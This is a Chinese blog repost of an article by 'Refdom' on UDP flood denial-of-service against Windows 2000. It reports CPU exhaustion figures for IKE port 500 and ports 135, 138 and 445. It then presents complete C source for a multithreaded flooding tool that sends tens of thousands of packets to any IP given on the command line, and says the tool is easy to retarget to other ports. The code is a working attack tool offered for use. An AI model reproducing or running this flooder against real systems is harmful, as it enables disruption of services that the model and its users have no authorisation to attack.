一个简单的IKE DOS程序
作者:佚名 来源:不详 更新时间:2006-9-19 22:52:06 等级:★★★
一个简单的IKE DOS程序
Author: Refdom
Email: refdom@263.net
HomePage: www.opengram.com
去年,我写了个用UDP对SQL SERVER进行DOS的,最近对一系列WIN2K监听的端口都进行了UDP的
Flood测试,对这些UDP端口发送大量的UDP数据包(比较大),发现很多都能够消耗CPU。
(测试目标:PIII 1G)
其中IKE的500端口能够消耗到90%以上,135端口也能够消耗50%以上。而138和445小一些,一般
会让CPU消耗提高30%左右。
IKE(Internet Key Exchange)的UDP协议DOS问题,在去年12月份SecuriTeam上就公布过。IKE的
攻击最逊色,测试中即使暂停发送数据包,CPU占用也居高不下。
即使对WIN2K不监听的任意UDP端口进行Flood,也能提高CPU消耗。
虽然这样的攻击对系统没有什么破坏性,而且停止发送后CPU也就恢复,但是很明显表明在抵抗
UDP的FLOOD攻击方面,WIN2K系统并不好。
下面是一个简单的IKE DOS程序,也很容易改为对付其他端口的。
//////////////////////////////////////////////////////
//
// Creator: Refdom
// Email : refdom@263.net
// HomePage: http://www.opengram.com
//
//////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
#include <process.h>
#pragma comment (lib, "ws2_32.lib")
#define IKE_UDP_PORT 500
void IKEDOSThread(void* Target);
int main(int argc, char* argv[])
{
WSADATA WSAData;
if (argc < 2 )
{
printf ("input targetip!\n");
return 0;
}
if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0 )
{
printf("WSA Error!\n");
return 0;
}
Sleep(500);
printf ("DOS Starting......\n");
for (int i =0 ; i < 20; i++)
{
_beginthread(IKEDOSThread, 0, (void*) argv[1]);
}
Sleep(100000);
WSACleanup();
return 0;
}
void IKEDOSThread(void* Target)
{
SOCKET sock;
SOCKADDR_IN addr_in;
int nRetCode;
char* pBuffer;
int nBufferSize = 1024;
pBuffer = (char*) malloc(nBufferSize);
FillMemory(pBuffer, nBufferSize, 'A');
sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sock == INVALID_SOCKET)
{
printf ("socket error!\n");
return;
}
addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(IKE_UDP_PORT);
addr_in.sin_addr.S_un.S_addr = inet_addr((char*)Target);
for ( int i =0 ; i <= 50000; i++)
{
nRetCode = sendto(sock, pBuffer, nBufferSize, 0, (LPSOCKADDR)&addr_in, sizeof(addr_in));
if (nRetCode == SOCKET_ERROR)
{
printf ("Send error!\n");
// return 0;
}
}
closesocket(sock);
free(pBuffer);
}
2007年8月20日星期一
一个简单的IKE DOS程序
订阅:
博文评论 (Atom)
没有评论:
发表评论